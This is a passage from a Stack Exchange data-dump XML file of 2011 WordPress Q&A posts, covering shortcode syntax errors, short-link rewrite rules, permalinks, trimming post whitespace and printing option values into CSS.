class=&quot;archive-month&quot;&amp;gt;&amp;lt;?php echo date(&quot;F&quot;, mktime(0, 0, 0, $month-&amp;gt;month, 1, $month-&amp;gt;year)) ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;archive-count&quot;&amp;gt;&amp;lt;?php echo $month-&amp;gt;post_count; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php $year_prev = $year_current;&#xA;                endforeach; ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2011-08-29T21:12:12.757" CommentCount="1" />
  <row Id="27222" PostTypeId="2" ParentId="18459" CreationDate="2011-08-29T21:12:35.797" Score="1" ViewCount="" Body="&lt;h1&gt;Advanced Hooks API&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Description&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Experimental function for more powerful and shorthand dealing with hooks.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Type&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Provides functions to use in other code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Download link&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-hooks-api/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Related Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11231/implementing-advanced-add-function-wrappers&quot;&gt;Implementing advanced add_* function wrappers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-29T21:12:35.797" CommunityOwnedDate="2011-08-29T21:12:35.797" />
  <row Id="27223" PostTypeId="2" ParentId="27217" CreationDate="2011-08-29T21:13:02.467" Score="0" ViewCount="" Body="&lt;p&gt;If the element that is being assigned the &quot;click&quot; event is &quot;#social_trigger&quot;, you cannot have more than one of these elements per page. You are searching for an &quot;id&quot; of an element and by definition, you can only have one element of a particular id per page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should change your elements to have a class of &quot;social_trigger&quot; and then change the jQuery to find &quot;.social_trigger&quot;. You'll likely have to rework your function a bit, but this should get you past the issue of only being able to toggle the first element.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-29T21:13:02.467" CommentCount="4" />
  <row Id="27224" PostTypeId="2" ParentId="27212" CreationDate="2011-08-29T21:36:43.567" Score="1" ViewCount="" Body="&lt;p&gt;In order to avoid an error like this you'll have to check whether or not the value of $glossary_letter is an array or not. Since get_the_terms() returns false on failure, you can just check whether or not $glossary_letter is false and set it to an empty array in order to appease array_pop() without getting that error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('post_type_link', 'client_area_permalink', 10, 4);&#xA;function client_area_permalink($post_link, $post, $leavename, $sample) {&#xA;    if ( false !== strpos( $post_link, '%client_category%' ) ) {&#xA;        $glossary_letter = get_the_terms( $post-&amp;gt;ID, 'client_category' );&#xA;&#xA;        // adding check and reset&#xA;        if ( !$glossary_letter ) { $glossary_letter = array(); }&#xA;        // continue as you were&#xA;&#xA;        $post_link = str_replace( '%client_category%', array_pop( $glossary_letter )-&amp;gt;slug, $post_link );&#xA;    }&#xA;return $post_link;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-08-29T21:36:43.567" />
  <row Id="27225" PostTypeId="2" ParentId="26159" CreationDate="2011-08-29T21:41:38.110" Score="0" ViewCount="" Body="&lt;p&gt;do you have update the permalinks after your activation of your code? Alternate you can refresh the permalinks via source in your functions with the WP function &lt;a href=&quot;http://wpengineer.com/2044/custom-post-type-and-permalink/&quot; rel=&quot;nofollow&quot;&gt;flush_rewrite_rules()&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also read this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3122/wordpress-custom-post-types-breaks-permalink-on-theme-reinstall&quot;&gt;question&lt;/a&gt; and answer from here.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-08-29T21:41:38.110" CommentCount="1" />
  <row Id="27226" PostTypeId="2" ParentId="27215" CreationDate="2011-08-29T21:56:23.147" Score="2" ViewCount="" Body="&lt;p&gt;For a slider, really liking Nivo Slider: &lt;a href=&quot;http://nivo.dev7studios.com/features/#wordpress&quot; rel=&quot;nofollow&quot;&gt;http://nivo.dev7studios.com/features/#wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also used Anything Slider, which I personally prefer for the stop/start feature when cycling items with text, but you'd have to build in the functionality yourself (whether with a category, a gallery, whatever): &lt;a href=&quot;http://css-tricks.com/examples/AnythingSlider/&quot; rel=&quot;nofollow&quot;&gt;http://css-tricks.com/examples/AnythingSlider/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-29T21:56:23.147" CommentCount="1" />
  <row Id="27227" PostTypeId="2" ParentId="27214" CreationDate="2011-08-29T22:09:10.730" Score="3" ViewCount="" Body="&lt;p&gt;In your example, you are getting all the fields in the get_users call, but you are only really using the ID and display_name fields. So you can save some memory by forcing get_users to only get the fields you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$users = get_users(array(&#xA;  'role'=&amp;gt;'s2member_level3', &#xA;  'fields'=&amp;gt;array('ID', 'display_name'),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will help reduce your memory footprint.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-29T22:09:10.730" CommentCount="5" />
  <row Id="27228" PostTypeId="2" ParentId="26869" CreationDate="2011-08-29T22:10:28.550" Score="1" ViewCount="" Body="&lt;p&gt;Okay, so, as mentioned in my comment to you: altering core files is not a good idea.  But here is a plugin solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First we're going to create our own rewrite rules that rewrite &lt;code&gt;s/123&lt;/code&gt; (replace 123 with a post ID) to &lt;code&gt;index.php?short=123&lt;/code&gt;.  We'll also have to filter the WordPress query variables so we can use them later.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'init', 'wpse26869_add_rewrites' );&#xA;function wpse26869_add_rewrites()&#xA;{&#xA;    add_rewrite_rule( '^s/(\d+)$', 'index.php?short=$matches[1]', 'top' );&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'wpse26869_query_vars', 10, 1 );&#xA;function wpse26869_query_vars( $vars )&#xA;{&#xA;    $vars[] = 'short';&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;add_rewrite_rule&lt;/code&gt; call says &quot;rewite s followed by a slash and a string of one or more digits to &lt;code&gt;index.php?short=the_string_of_digits&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we can hook into template redirect and see if our query variable is there. If it is, we'll try and get a permalink out of it.  If that fails, we'll throw a 404 error.  Otherwise, we'll use `wp_redirect' to send folks to the actual post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'template_redirect', 'wpse26869_shortlink_redirect' );&#xA;function wpse26869_shortlink_redirect()&#xA;{&#xA;    // bail if this isn't a short link&#xA;    if( ! get_query_var( 'short' ) ) return;&#xA;    global $wp_query;&#xA;&#xA;    $id = absint( get_query_var( 'short' ) );&#xA;    if( ! $id )&#xA;    {&#xA;        $wp_query-&amp;gt;is_404 = true;&#xA;        return;&#xA;    }&#xA;&#xA;    $link = get_permalink( $id );&#xA;    if( ! $link )&#xA;    {&#xA;        $wp_query-&amp;gt;is_404 = true;&#xA;        return;&#xA;    }&#xA;&#xA;    wp_redirect( esc_url( $link ), 301 );&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, we hook into &lt;code&gt;get_shortlink&lt;/code&gt; to change how our rel=&quot;shortlink&quot; appears in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of the site, and elsewhere.  This new shortlink structure will reflect the rewrite rule we wrote above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter( 'get_shortlink', 'wpse26869_get_shortlink', 10, 3 );&#xA;function wpse26869_get_shortlink( $link, $id, $context )&#xA;{&#xA;    if( 'query' == $context &amp;amp;&amp;amp; is_single() )&#xA;    {&#xA;        $id = get_queried_object_id();&#xA;    }&#xA;    return home_url( 's/' . $id );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a plugin:&#xA;&lt;a href=&quot;https://gist.github.com/1179555&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/1179555&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastEditorUserId="6035" LastEditorDisplayName="" LastEditDate="2011-08-29T22:31:42.387" LastActivityDate="2011-08-29T22:31:42.387" CommentCount="5" />
  <row Id="27229" PostTypeId="1" AcceptedAnswerId="27237" CreationDate="2011-08-29T22:23:27.540" Score="0" ViewCount="12" Body="&lt;p&gt;I'm learning how to write a shortcode. I'm getting this error: Parse error: syntax error, unexpected T_FOREACH . I'm having problems with concatenating it properly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name:  My Plugin&#xA;Plugin URI: http://mysite.com&#xA;Description: This does blah&#xA;Version: 1.0&#xA;Author URI: http://www.mysite.com&#xA;*/&#xA;&#xA;&#xA;&#xA;&#xA;function csf_cap_databaseinfo() {&#xA;    global $wpdb;&#xA;&#xA;&#xA;&#xA;    $greeting = $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare(&quot;SELECT * FROM wp_test;&quot;)); &#xA;&#xA;     $out = '&amp;lt;table&amp;gt;&#xA;               &amp;lt;tr&amp;gt;&#xA;             &amp;lt;th&amp;gt;ID&amp;lt;/th&amp;gt;&#xA;                 &amp;lt;th&amp;gt;Greeting&amp;lt;/th&amp;gt;&#xA;               &amp;lt;/tr&amp;gt;'; &#xA;&#xA;      $out .=  foreach ($greeting as $greet){ .'&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;' . echo $greet-&amp;gt;id . '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;' . } .'&amp;lt;/table&amp;gt;'; &#xA;&#xA;        return $out; &#xA;&#xA;}&#xA;&#xA;&#xA;add_shortcode('db-info', 'csf_cap_databaseinfo');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestion on how to fix this error? Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastEditorUserId="4509" LastEditorDisplayName="" LastEditDate="2011-08-29T23:48:42.487" LastActivityDate="2011-08-29T23:48:42.487" Title="Shortcode, Concatenating &amp; Parse error: syntax error, unexpected T_FOREACH" Tags="&lt;shortcode&gt;&lt;errors&gt;&lt;foreach&gt;" AnswerCount="1" />
  <row Id="27230" PostTypeId="5" CreationDate="2011-08-29T22:28:57.297" Score="0" ViewCount="" Body="&lt;p&gt;Staging is the process of maintaining one or more test version(s) of a website in order to evaluate whether new code, upgrades, or design changes are working properly before installing them live in production.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical staging progression might include DEV, QA, UAT and PROD platforms.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DEV is often duplicated on individual developer's local machines&lt;/li&gt;&#xA;&lt;li&gt;QA is usually a server-based install that emulates the production environment, which the development team uses to validate their work in a real-world environment&lt;/li&gt;&#xA;&lt;li&gt;UAT is usually a server that closely duplicates the production environment, and allows the client or project owner to test the new site, and ultimately approve it for release to production&lt;/li&gt;&#xA;&lt;li&gt;PROD is the production or live website  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Wordpress has no built-in support for automated staging, and traditional staged release processes in a wordpress environment, where they exist, are currently created by individual development teams to meet specific project needs. &lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-29T22:30:42.730" LastActivityDate="2011-08-29T22:30:42.730" />
  <row Id="27231" PostTypeId="4" CreationDate="2011-08-29T22:28:57.297" Score="0" ViewCount="" Body="The tag &lt;staging&gt; relates to methods for creating a staging server and then moving accepted changes from staging into production - ideally in an automated fashion. " OwnerUserId="-1" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-29T22:30:48.377" LastActivityDate="2011-08-29T22:30:48.377" />
  <row Id="27232" PostTypeId="1" CreationDate="2011-08-29T22:36:36.753" Score="0" ViewCount="11" Body="&lt;p&gt;I want to serve a dynamically-generated PDF with a &quot;File Transfer&quot; header &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('Content-Description: File Transfer');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, before I generate the document I need to verify the user's login and credentials.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_user_logged_in()){&#xA;     $currentUser = wp_get_current_user();&#xA;     $userLogin = $currentUser-&amp;gt;user_login;&#xA;     if(userAllowedAccess($requestID, $userLogin)){&#xA;         header('Content-Description: File Transfer') &#xA;         ....... file content&#xA;     }&#xA;     else{&#xA;         //Do nothing... get off my lawn&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I put this so I don't get any headers or output from my wordpress page?  I need to load enough of the API to get my is_user_logged_in() and wp_get_current_user() function but don't want to load anything that prints to the page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks-&#xA;J&lt;/p&gt;&#xA;" OwnerUserId="8257" LastActivityDate="2011-08-29T22:43:05.843" Title="Get Wordpress login functions without printing anything" Tags="&lt;login&gt;&lt;api&gt;" AnswerCount="1" />
  <row Id="27233" PostTypeId="2" ParentId="27232" CreationDate="2011-08-29T22:43:05.843" Score="0" ViewCount="" Body="&lt;p&gt;There are multiple approaches to do such:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;page template&lt;/li&gt;&#xA;&lt;li&gt;Ajax action&lt;/li&gt;&#xA;&lt;li&gt;custom handler that loads core&lt;/li&gt;&#xA;&lt;li&gt;early hook (such as &lt;code&gt;template_redirect&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;and so on...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Personally I'd go with Ajax action. It's pretty clean way to get full environment without any output and not overly complex to implement. See &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;AJAX in Plugins&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-29T22:43:05.843" />
  <row Id="27234" PostTypeId="1" CreationDate="2011-08-29T22:53:42.157" Score="1" ViewCount="24" Body="&lt;p&gt;My writer has a tendency to add extra newlines (Enter key) and spaces (space bar) at the ends of posts. Sometimes this results in inches of extra whitespace onscreen!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can make sure extra trailing whitespace is removed when he hits &quot;Update&quot; in the Wordpress post editor?&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2011-08-29T23:06:55.573" Title="Remove whitespace at the end of posts?" Tags="&lt;posts&gt;&lt;admin&gt;&lt;visual-editor&gt;" AnswerCount="1" />
  <row Id="27235" PostTypeId="2" ParentId="17517" CreationDate="2011-08-29T22:57:43.483" Score="0" ViewCount="" Body="&lt;p&gt;2 paid recommendations here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a nice Mailchimp plugin on wpmu.com/ but it is part of their package so you have to purchase a membership to get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gravity forms has a nice plugin for their developer package that allows you to link any form with a specific list. If you work on more than a few WP sites, i recommend using Gravity forms anyway.&lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-08-29T22:57:43.483" />
  <row Id="27236" PostTypeId="2" ParentId="27234" CreationDate="2011-08-29T23:06:55.573" Score="3" ViewCount="" Body="&lt;p&gt;Quick guess would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('content_save_pre', 'trim');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add to &lt;code&gt;functions.php&lt;/code&gt; of theme or wherever is appropriate in your site.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-29T23:06:55.573" CommentCount="2" />
  <row Id="27237" PostTypeId="2" ParentId="27229" CreationDate="2011-08-29T23:44:44.617" Score="1" ViewCount="" Body="&lt;p&gt;instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$out .=  foreach ($greeting as $greet){ .'&amp;lt;td&amp;gt;' . echo $greet-&amp;gt;id . '&amp;lt;/td&amp;gt;' . } .'&amp;lt;/table&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($greeting as $greet){ $out .=  '&amp;lt;td&amp;gt;' . $greet-&amp;gt;id . '&amp;lt;/td&amp;gt;'; } &#xA;$out .=  '&amp;lt;/table&amp;gt;';  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-29T23:44:44.617" CommentCount="1" />
  <row Id="27238" PostTypeId="1" AcceptedAnswerId="27241" CreationDate="2011-08-29T23:50:54.550" Score="0" ViewCount="19" Body="&lt;p&gt;i got an options page that needs to affects a certain (for now) css value..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have about using php variables in css and creating custom global variables in wordpress but havent something easy enough to understand so i have done this and places it in my header file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;.current-menu-item {&#xA;    background: &amp;lt;?php echo get_option('sg_currentbuttoncolor'); ?&amp;gt; !important;&#xA;}&#xA;&amp;lt;/style&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does that look like a good solution to you?&#xA;what is the preffered way of creating changes in my css using values from my options page?&lt;/p&gt;&#xA;" OwnerUserId="7990" LastActivityDate="2011-08-30T00:39:14.597" Title="Getting values from options page to css" Tags="&lt;css&gt;&lt;page&gt;&lt;options&gt;&lt;variables&gt;" AnswerCount="1" />
  <row Id="27239" PostTypeId="2" ParentId="16242" CreationDate="2011-08-29T23:51:26.663" Score="0" ViewCount="" Body="&lt;p&gt;It was a problem in the Nginx configuration. I had a line rewriting  domain.com/adm to domain.com/wordpress/wp-admin and this was causing the odd redirection.&lt;/p&gt;&#xA;" OwnerUserId="7993" LastActivityDate="2011-08-29T23:51:26.663" />
  <row Id="27240" PostTypeId="1" CreationDate="2011-08-30T00:21:27.427" Score="0" ViewCount="62" Body="&lt;p&gt;I am experiencing the &lt;strong&gt;stupid, dreadful, useless&lt;/strong&gt; error &quot;You do not have sufficient permissions to access this page&quot; when I click to configure Akismet and other plugins, as well as some themes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I am running a brand new fresh (not an update from a previous version) Wordpress, 3.2.1, default theme;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have no plugin activated but Akismet (I have also deleted it, downloaded from WP site and installed it again, but the same error);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mysql user has all privileges (indeed, tight now I am connecting as root, just in case);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All wp-content subfolders are 0775 and owned by s-user:www-data (server user + PHP-FPM user);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I turned this set on wp-config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_DEBUG',true);&#xA;    ini_set('display_errors','On');&#xA;    ini_set('error_reporting',E_PARSE);&#xA;    @ini_set('log_errors','On');&#xA;    @ini_set('error_log','/var/public_html/domain.com/wordpress/wp-content/log/php_error.log');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the error I got is &quot;Notice: Undefined offset: 1 in /var/public_html/domain.com/wordpress/wp-includes/vars.php on line 24&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;By the way, I am using nginx, so the .htaccess workaround will not &quot;work around&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just to be clear, this has nothing to have with password change.&lt;/strong&gt; I am on a band new PHP, MySQL, Nginx and WordPress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7993" LastEditorUserId="7993" LastEditorDisplayName="" LastEditDate="2011-08-30T11:31:47.210" LastActivityDate="2011-08-30T11:31:47.210" Title="Wordpress 3.2.1 (fresh install): You do not have sufficient permissions to access this page" Tags="&lt;permissions&gt;&lt;debug&gt;" AnswerCount="1" />
  <row Id="27241" PostTypeId="2" ParentId="27238" CreationDate="2011-08-30T00:39:14.597" Score="2" ViewCount="" Body="&lt;p&gt;You are doing it correctly. I would suggest two enhancements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do not put this code directly in header.php. Create a custom function to print the css and hook this into the wp_head action.&lt;/li&gt;&#xA;&lt;li&gt;Always sanitize/escape input before you print it to the screen. Look into ctype_xdigit() for creating a custom function to sanitize you color value.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-08-30T00:39:14.597" CommentCount="3" />
  <row Id="27242" PostTypeId="2" ParentId="27204" CreationDate="2011-08-30T00:42:03.297" Score="0" ViewCount="" Body="&lt;p&gt;I looked at this recently and couldn't really find a way other than hiding them via css.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-08-30T00:42:03.297" CommentCount="2" />
  <row Id="27243" PostTypeId="2" ParentId="27213" CreationDate="2011-08-30T00:52:55.220" Score="1" ViewCount="" Body="&lt;p&gt;Don't know of a plugin that will do this specifically for a magazine, but it should be easy to implement in this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a sale is triggered through the shopping cart:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Have your shopping cart send an email to a autoresponder, such as aweber.com. Most WP shopping carts have functionality built in for a/r, usually including aweber.&lt;/li&gt;&#xA;&lt;li&gt;Configure (if not already available) an email parser to add the email information to a list. Such as &quot;subscriber_list&quot; gets info from the email like name, address, sub start, etc. You can create a custom parser in aweber that pulls from the text of the email.&lt;/li&gt;&#xA;&lt;li&gt;Program the a/r to broadcast subscription reminders at regular intervals, with a link to the renewal page. You can also insert other messages to broadcast. Segment the list carefully to separate out for targeted messaging.  You can search from the records in the list and create a new segment, like subscribers expiring in two months, etc.&lt;/li&gt;&#xA;&lt;li&gt;Other reports from the list can be generated. You can also set up a sales conversion tracking function in aweber that is useful.&#xA;Hope this helps.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8258" LastActivityDate="2011-08-30T00:52:55.220" CommentCount="1" />
  <row Id="27244" PostTypeId="2" ParentId="17582" CreationDate="2011-08-30T00:57:37.677" Score="0" ViewCount="" Body="&lt;p&gt;The multi-site function would work as well, I would think.&lt;/p&gt;&#xA;" OwnerUserId="8258" LastActivityDate="2011-08-30T00:57:37.677" />
  <row Id="27245" PostTypeId="1" CreationDate="2011-08-30T01:17:46.450" Score="0" ViewCount="20" Body="&lt;p&gt;I've searched around and haven't found a way to do this yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a custom post type that will display a permalink structure that uses the term of a taxonomy as the folder name. Here's an example of what I'm trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;custom taxonomy &lt;code&gt;page_type&lt;/code&gt;&lt;br/&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Example terms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;article&lt;/li&gt;&#xA;&lt;li&gt;video&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;custom post type &lt;code&gt;custom_page&lt;/code&gt;&lt;br/&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Example pages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;carpentry&lt;/li&gt;&#xA;&lt;li&gt;quality drywall&lt;/li&gt;&#xA;&lt;li&gt;concrete work&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Desired permalink structure&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site.com/%page_type%/%custom_page%&quot; rel=&quot;nofollow&quot;&gt;http://site.com/%page_type%/%custom_page%&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site.com/video/quality-drywall&quot; rel=&quot;nofollow&quot;&gt;http://site.com/video/quality-drywall&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Perhaps this isn't possible. &lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2011-08-30T01:25:46.360" Title="How to use taxonomy term as permalink folder" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="27246" PostTypeId="2" ParentId="27245" CreationDate="2011-08-30T01:25:46.360" Score="0" ViewCount="" Body="&lt;p&gt;The following answer by Jan Fabry should help you solve your problem. It had helped me.&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/21022/mixing-custom-post-type-and-taxonomy-rewrite-structures&quot;&gt;Mixing custom post type and taxonomy rewrite structures?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-30T01:25:46.360" />
  <row Id="27247" PostTypeId="2" ParentId="27240" CreationDate="2011-08-30T02:28:47.693" Score="0" ViewCount="" Body="&lt;p&gt;I take it as this is a new installation, not an update of a older version to 3.2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--try deactivating ALL plugins temporarily to narrow down the problem. If the problem goes away, activate them individually (one-by-one) to find the problematic plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have access to your admin area, try deactivating them &lt;a href=&quot;http://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F&quot; rel=&quot;nofollow&quot;&gt;manually&lt;/a&gt; via FTP or phpMyAdmin. &lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-30T02:28:47.693" CommentCount="2" />
  <row Id="27248" PostTypeId="1" CreationDate="2011-08-30T03:00:40.510" Score="1" ViewCount="36" Body="&lt;p&gt;How can I prevent my plugin updates from clobbering the user edits and file additions in a particular subdirectory of my plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a syntax highlighting plugin that makes use of GeSHi. A sub folder of the plugin is GeSHi itself. Many users will want to customize / edit the language files within GeSHi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically here is the directory structure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp-contente/plugins/my-plugin/&#xA;&lt;ul&gt;&#xA;&lt;li&gt;several subdirectories etc&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;wp-content/plugins/my-plugin/geshi/geshi/&#xA;&lt;ul&gt;&#xA;&lt;li&gt;users are going to add files to this directory&lt;/li&gt;&#xA;&lt;li&gt;they will also edit files in this directory&lt;/li&gt;&#xA;&lt;li&gt;when they pick up their new updates I don't want to erase their edits&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's the best way of solving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's what I was thinking, but I don't know how to implement:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On the update plugin action hook (?) make a temporary copy of the files I want to preserve.&lt;/li&gt;&#xA;&lt;li&gt;Get the new version unzip and install like usual&lt;/li&gt;&#xA;&lt;li&gt;Copy the preserved files from the temp copy to the new version&lt;/li&gt;&#xA;&lt;li&gt;Remove the temp 